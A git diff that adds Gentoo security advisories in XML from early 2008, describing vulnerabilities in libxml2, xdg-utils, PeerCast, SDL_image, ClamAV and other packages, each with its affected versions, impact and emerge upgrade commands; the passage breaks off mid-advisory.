+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-20">
+  <title>libxml2: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been reported in libxml2.
+  </synopsis>
+  <product type="ebuild">libxml2</product>
+  <announced>January 30, 2008</announced>
+  <revised>January 30, 2008: 01</revised>
+  <bug>202628</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libxml2" auto="yes" arch="*">
+      <unaffected range="ge">2.6.30-r1</unaffected>
+      <vulnerable range="lt">2.6.30-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libxml2 is the XML (eXtended Markup Language) C parser and toolkit
+    initially developed for the Gnome project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Brad Fitzpatrick reported that the xmlCurrentChar() function does not
+    properly handle some UTF-8 multibyte encodings.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted XML
+    document with an application using libxml2, possibly resulting in a
+    high CPU consumption. Note that this vulnerability could also be
+    triggered without user interaction by an automated system processing
+    XML content.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libxml2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libxml2-2.6.30-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6284">CVE-2007-6284</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 12 Jan 2008 01:14:43 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Jan 2008 19:48:32 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Jan 2008 19:48:45 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-21.xml b/xml/htdocs/security/en/glsa/glsa-200801-21.xml
new file mode 100644
index 00000000..83be6af1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-21.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-21">
+  <title>Xdg-Utils: Arbitrary command execution</title>
+  <synopsis>
+    A vulnerability has been discovered in Xdg-Utils, allowing for the remote
+    execution of arbitrary commands.
+  </synopsis>
+  <product type="ebuild">xdg-utils</product>
+  <announced>January 30, 2008</announced>
+  <revised>January 30, 2008: 01</revised>
+  <bug>207331</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-misc/xdg-utils" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2-r1</unaffected>
+      <vulnerable range="lt">1.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xdg-Utils is a set of tools allowing all applications to easily
+    integrate with the Free Desktop configuration.
+    </p>
+  </background>
+  <description>
+    <p>
+    Miroslav Lichvar discovered that the "xdg-open" and "xdg-email" shell
+    scripts do not properly sanitize their input before processing it.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted link
+    with a vulnerable application using Xdg-Utils (e.g. an email client),
+    resulting in the execution of arbitrary code with the privileges of the
+    user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xdg-Utils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-misc/xdg-utils-1.0.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0386">CVE-2008-0386</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 26 Jan 2008 12:15:55 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Jan 2008 20:04:22 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Jan 2008 20:04:30 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-22.xml b/xml/htdocs/security/en/glsa/glsa-200801-22.xml
new file mode 100644
index 00000000..99db828e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-22.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-22">
+  <title>PeerCast: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in PeerCast.
+  </synopsis>
+  <product type="ebuild">peercast</product>
+  <announced>January 30, 2008</announced>
+  <revised>January 30, 2008: 02</revised>
+  <bug>202747</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/peercast" auto="yes" arch="*">
+      <unaffected range="ge">0.1218</unaffected>
+      <vulnerable range="lt">0.1218</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PeerCast is a client and server for P2P-radio network
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma reported a heap-based buffer overflow within the
+    "handshakeHTTP()" function when processing HTTP requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted request to the
+    vulnerable server, possibly resulting in the remote execution of
+    arbitrary code with the privileges of the user running the PeerCast
+    server, usually "nobody".
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PeerCast users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/peercast-0.1218&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6454">CVE-2007-6454</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 Jan 2008 08:22:19 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Jan 2008 19:51:49 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 29 Jan 2008 23:04:06 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-01.xml b/xml/htdocs/security/en/glsa/glsa-200802-01.xml
new file mode 100644
index 00000000..83811479
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-01.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-01">
+  <title>SDL_image: Two buffer overflow vulnerabilities</title>
+  <synopsis>
+    Two boundary errors have been identified in SDL_image allowing for the
+    remote execution of arbitrary code or the crash of the application using
+    the library.
+  </synopsis>
+  <product type="ebuild">sdl-image</product>
+  <announced>February 06, 2008</announced>
+  <revised>February 06, 2008: 01</revised>
+  <bug>207933</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/sdl-image" auto="yes" arch="*">
+      <unaffected range="ge">1.2.6-r1</unaffected>
+      <vulnerable range="lt">1.2.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SDL_image is an image file library that loads images as SDL surfaces,
+    and supports various formats like BMP, GIF, JPEG, LBM, PCX, PNG, PNM,
+    TGA, TIFF, XCF, XPM, and XV.
+    </p>
+  </background>
+  <description>
+    <p>
+    The LWZReadByte() function in file IMG_gif.c and the IMG_LoadLBM_RW()
+    function in file IMG_lbm.c each contain a boundary error that can be
+    triggered to cause a static buffer overflow and a heap-based buffer
+    overflow. The first boundary error comes from some old vulnerable GD
+    PHP code (CVE-2006-4484).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can make an application using the SDL_image library
+    to process a specially crafted GIF file or IFF ILBM file that will
+    trigger a buffer overflow, resulting in the execution of arbitrary code
+    with the permissions of the application or the application crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SDL_image users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/sdl-image-1.2.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/28640/">SA28640</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6697">CVE-2007-6697</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0544">CVE-2008-0544</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 29 Jan 2008 09:35:04 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 29 Jan 2008 09:36:22 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-02.xml b/xml/htdocs/security/en/glsa/glsa-200802-02.xml
new file mode 100644
index 00000000..42e3df4d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-02.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-02">
+  <title>Doomsday: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Doomsday might allow remote execution of
+    arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">doomsday</product>
+  <announced>February 06, 2008</announced>
+  <revised>February 10, 2008: 02</revised>
+  <bug>190835</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-fps/doomsday" auto="no" arch="*">
+      <vulnerable range="le">1.9.0_beta52</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Doomsday Engine (deng) is a modern gaming engine for popular ID
+    games like Doom, Heretic and Hexen.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma discovered multiple buffer overflows in the
+    D_NetPlayerEvent() function, the Msg_Write() function and the
+    NetSv_ReadCommands() function. He also discovered errors when handling
+    chat messages that are not NULL-terminated (CVE-2007-4642) or contain a
+    short data length, triggering an integer underflow (CVE-2007-4643).
+    Furthermore a format string vulnerability was discovered in the
+    Cl_GetPackets() function when processing PSV_CONSOLE_TEXT messages
+    (CVE-2007-4644).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to execute
+    arbitrary code with the rights of the user running the Doomsday server
+    or cause a Denial of Service by sending specially crafted messages to
+    the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    While some of these issues could be resolved in
+    "games-fps/doomsday-1.9.0-beta5.2", the format string vulnerability
+    (CVE-2007-4644) remains unfixed. We recommend that users unmerge
+    Doomsday:
+    </p>
+    <code>
+    # emerge --unmerge games-fps/doomsday</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4642">CVE-2007-4642</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4643">CVE-2007-4643</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4644">CVE-2007-4644</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 06 Dec 2007 00:50:29 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 12 Dec 2007 01:08:23 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Jan 2008 00:41:43 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-03.xml b/xml/htdocs/security/en/glsa/glsa-200802-03.xml
new file mode 100644
index 00000000..455041ff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-03.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-03">
+  <title>Horde IMP: Security bypass</title>
+  <synopsis>
+    Insufficient checks in Horde may allow a remote attacker to bypass security
+    restrictions.
+  </synopsis>
+  <product type="ebuild">horde-imp</product>
+  <announced>February 11, 2008</announced>
+  <revised>February 11, 2008: 01</revised>
+  <bug>205377</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde-imp" auto="yes" arch="*">
+      <unaffected range="ge">4.1.6</unaffected>
+      <vulnerable range="lt">4.1.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Horde IMP provides a web-based access to IMAP and POP3 mailboxes.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar, Secunia Research discovered that the "frame" and
+    "frameset" HTML tags are not properly filtered out. He also reported
+    that certain HTTP requests are executed without being checked.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted HTML
+    e-mail, possibly resulting in the deletion of arbitrary e-mail
+    messages.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde IMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-imp-4.1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6018">CVE-2007-6018</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 05 Feb 2008 12:56:07 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 05 Feb 2008 12:56:20 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-04.xml b/xml/htdocs/security/en/glsa/glsa-200802-04.xml
new file mode 100644
index 00000000..7d943ffc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-04.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-04">
+  <title>Gallery: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were discovered in Gallery.
+  </synopsis>
+  <product type="ebuild">gallery</product>
+  <announced>February 11, 2008</announced>
+  <revised>February 11, 2008: 01</revised>
+  <bug>203217</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">2.2.4</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is a web-based application for creating and viewing photo
+    albums.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Gallery developement team reported and fixed critical
+    vulnerabilities during an internal audit (CVE-2007-6685, CVE-2007-6686,
+    CVE-2007-6687, CVE-2007-6688, CVE-2007-6689, CVE-2007-6690,
+    CVE-2007-6691, CVE-2007-6692, CVE-2007-6693).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to execute
+    arbitrary code, conduct Cross-Site Scripting and Cross-Site Request
+    Forgery attacks, or disclose sensitive informations.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gallery users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/gallery-2.2.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6685">CVE-2007-6685</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6686">CVE-2007-6686</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6687">CVE-2007-6687</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6688">CVE-2007-6688</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6689">CVE-2007-6689</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6690">CVE-2007-6690</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6691">CVE-2007-6691</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6692">CVE-2007-6692</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6693">CVE-2007-6693</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Jan 2008 19:59:20 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 23 Jan 2008 19:59:33 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 06 Feb 2008 11:03:19 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-05.xml b/xml/htdocs/security/en/glsa/glsa-200802-05.xml
new file mode 100644
index 00000000..67f9c4aa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-05.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-05">
+  <title>Gnumeric: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Several integer overflow vulnerabilities have been reported in Gnumeric,
+    possibly resulting in user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gnumeric</product>
+  <announced>February 12, 2008</announced>
+  <revised>February 12, 2008: 01</revised>
+  <bug>208356</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/gnumeric" auto="yes" arch="*">
+      <unaffected range="ge">1.8.1</unaffected>
+      <vulnerable range="lt">1.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Gnumeric spreadsheet is a versatile application developed as part
+    of the GNOME Office project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple integer overflow and signedness errors have been reported in
+    the excel_read_HLINK() function in file plugins/excel/ms-excel-read.c
+    when processing XLS HLINK opcodes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted XLS
+    file, possibly resulting in the remote execution of arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gnumeric users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/gnumeric-1.8.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0668">CVE-2008-0668</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 10 Feb 2008 23:12:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Feb 2008 23:12:22 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 12 Feb 2008 08:14:23 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-06.xml b/xml/htdocs/security/en/glsa/glsa-200802-06.xml
new file mode 100644
index 00000000..8c36bdb8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-06.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-06">
+  <title>scponly: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in scponly allow authenticated users to bypass
+    security restrictions.
+  </synopsis>
+  <product type="ebuild">scponly</product>
+  <announced>February 12, 2008</announced>
+  <revised>February 13, 2008: 02</revised>
+  <bug>201726</bug>
+  <bug>203099</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/scponly" auto="yes" arch="*">
+      <unaffected range="ge">4.8</unaffected>
+      <vulnerable range="lt">4.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    scponly is a shell for restricting user access to file transfer only
+    using sftp and scp.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joachim Breitner reported that Subversion and rsync support invokes
+    subcommands in an insecure manner (CVE-2007-6350). It has also been
+    discovered that scponly does not filter the -o and -F options to the
+    scp executable (CVE-2007-6415).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit these vulnerabilities to elevate
+    privileges and execute arbitrary commands on the vulnerable host.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All scponly users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/scponly-4.8&quot;</code>
+    <p>
+    Due to the design of scponly's Subversion support, security
+    restrictions can still be circumvented. Please read carefully the
+    SECURITY file included in the package.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6350">CVE-2007-6350</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6415">CVE-2007-6415</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Jan 2008 02:02:07 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 06 Feb 2008 10:51:42 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Feb 2008 10:51:57 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-07.xml b/xml/htdocs/security/en/glsa/glsa-200802-07.xml
new file mode 100644
index 00000000..b0c4e2f5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-07.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-07">
+  <title>Pulseaudio: Privilege escalation</title>
+  <synopsis>
+    A vulnerability in pulseaudio may allow a local user to execute actions
+    with escalated privileges.
+  </synopsis>
+  <product type="ebuild">pulseaudio</product>
+  <announced>February 13, 2008</announced>
+  <revised>February 13, 2008: 01</revised>
+  <bug>207214</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-sound/pulseaudio" auto="yes" arch="*">
+      <unaffected range="ge">0.9.9</unaffected>
+      <vulnerable range="lt">0.9.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pulseaudio is a networked sound server with an advanced plugin system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Marcus Meissner from SUSE reported that the pa_drop_root() function
+    does not properly check the return value of the system calls setuid(),
+    seteuid(), setresuid() and setreuid() when dropping its privileges.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could cause a resource exhaustion to make the system
+    calls fail, which would cause Pulseaudio to run as root. The attacker
+    could then perform actions with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pulseaudio users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/pulseaudio-0.9.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0008">CVE-2008-0008</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Feb 2008 18:33:13 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Feb 2008 18:33:32 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 13 Feb 2008 20:35:58 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-08.xml b/xml/htdocs/security/en/glsa/glsa-200802-08.xml
new file mode 100644
index 00000000..0f7a2882
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-08.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-08">
+  <title>Boost: Denial of Service</title>
+  <synopsis>
+    Two vulnerabilities have been reported in Boost, each one possibly
+    resulting in a Denial of Service.
+  </synopsis>
+  <product type="ebuild">boost</product>
+  <announced>February 14, 2008</announced>
+  <revised>February 14, 2008: 01</revised>
+  <bug>205955</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/boost" auto="yes" arch="*">
+      <unaffected range="ge">1.34.1-r2</unaffected>
+      <vulnerable range="lt">1.34.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Boost is a set of C++ libraries, including the Boost.Regex library to
+    process regular expressions.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy and Will Drewry from the Google Security Team reported a
+    failed assertion in file regex/v4/perl_matcher_non_recursive.hpp
+    (CVE-2008-0171) and a NULL pointer dereference in function
+    get_repeat_type() file basic_regex_creator.hpp (CVE-2008-0172) when
+    processing regular expressions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could provide specially crafted regular expressions
+    to an application using Boost, resulting in a crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Boost users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/boost-1.34.1-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0171">CVE-2008-0171</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0172">CVE-2008-0172</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 10 Feb 2008 14:26:57 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Feb 2008 14:27:09 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 13 Feb 2008 20:51:31 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-09.xml b/xml/htdocs/security/en/glsa/glsa-200802-09.xml
new file mode 100644
index 00000000..cc1556a7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-09.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-09">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in ClamAV may result in the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>February 21, 2008</announced>
+  <revised>February 21, 2008: 01</revised>
+  <bug>209915</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.92.1</unaffected>
